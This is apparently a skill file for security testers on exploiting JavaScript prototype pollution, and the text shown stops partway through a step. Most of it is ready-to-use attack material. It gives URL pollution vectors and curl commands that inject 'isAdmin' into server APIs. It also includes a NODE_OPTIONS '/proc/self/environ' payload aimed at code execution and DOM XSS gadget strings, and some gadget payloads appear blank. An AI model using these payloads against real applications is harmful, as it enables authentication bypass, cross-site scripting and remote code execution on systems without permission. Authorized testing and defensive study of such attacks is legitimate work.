--- name: exploiting-prototype-pollution-in-javascript description: Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection. domain: cybersecurity subdomain: web-application-security tags: - prototype-pollution - javascript - node-js - xss - rce - property-injection - dom-xss - server-side-pollution version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 --- # Exploiting Prototype Pollution in JavaScript ## When to Use - When testing Node.js or JavaScript-heavy web applications - During assessment of APIs accepting deep-merged JSON objects - When testing client-side JavaScript frameworks for DOM XSS via prototype pollution - During code review of object merge/clone/extend operations - When evaluating npm packages for prototype pollution gadgets ## Prerequisites - Burp Suite with DOM Invader extension for client-side prototype pollution detection - Node.js development environment for server-side testing - Understanding of JavaScript prototype chain and object inheritance - Knowledge of common pollution gadgets (sources, sinks, and exploitable properties) - Prototype Pollution Gadgets Scanner Burp extension for server-side detection - Browser developer console for client-side prototype manipulation > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. ## Workflow ### Step 1 — Identify Prototype Pollution Sources ```javascript // Client-side: Test URL-based sources // Navigate to: http://target.com/page?__proto__[polluted]=true // Or use constructor: http://target.com/page?constructor[prototype][polluted]=true // Check in browser console: console.log(({}).polluted); // If returns "true", pollution confirmed // Common URL-based pollution vectors: // ?__proto__[key]=value // ?__proto__.key=value // ?constructor[prototype][key]=value // ?constructor.prototype.key=value // Hash fragment pollution: // http://target.com/#__proto__[key]=value ``` ### Step 2 — Test Server-Side Prototype Pollution ```bash # Test via JSON body with __proto__ curl -X POST http://target.com/api/merge \ -H "Content-Type: application/json" \ -d '{"__proto__": {"isAdmin": true}}' # Test via constructor.prototype curl -X POST http://target.com/api/update \ -H "Content-Type: application/json" \ -d '{"constructor": {"prototype": {"isAdmin": true}}}' # Test for status code reflection (detection technique) # Pollute status property to detect server-side pollution curl -X POST http://target.com/api/merge \ -H "Content-Type: application/json" \ -d '{"__proto__": {"status": 510}}' # If response returns 510, server-side pollution confirmed # JSON content type pollution curl -X POST http://target.com/api/settings \ -H "Content-Type: application/json" \ -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}' ``` ### Step 3 — Exploit Client-Side for DOM XSS ```javascript // Step 1: Find pollution source (URL parameter, JSON input, postMessage) // Step 2: Find a gadget - a property read from prototype that reaches a sink // Common gadgets for DOM XSS: // innerHTML gadget: // ?__proto__[innerHTML]= // jQuery $.html() gadget: // ?__proto__[html]= // transport URL gadget (common in analytics scripts): // ?__proto__[transport_url]=data:,alert(1)// // Sanitizer bypass via prototype pollution: // ?__proto__[allowedTags]=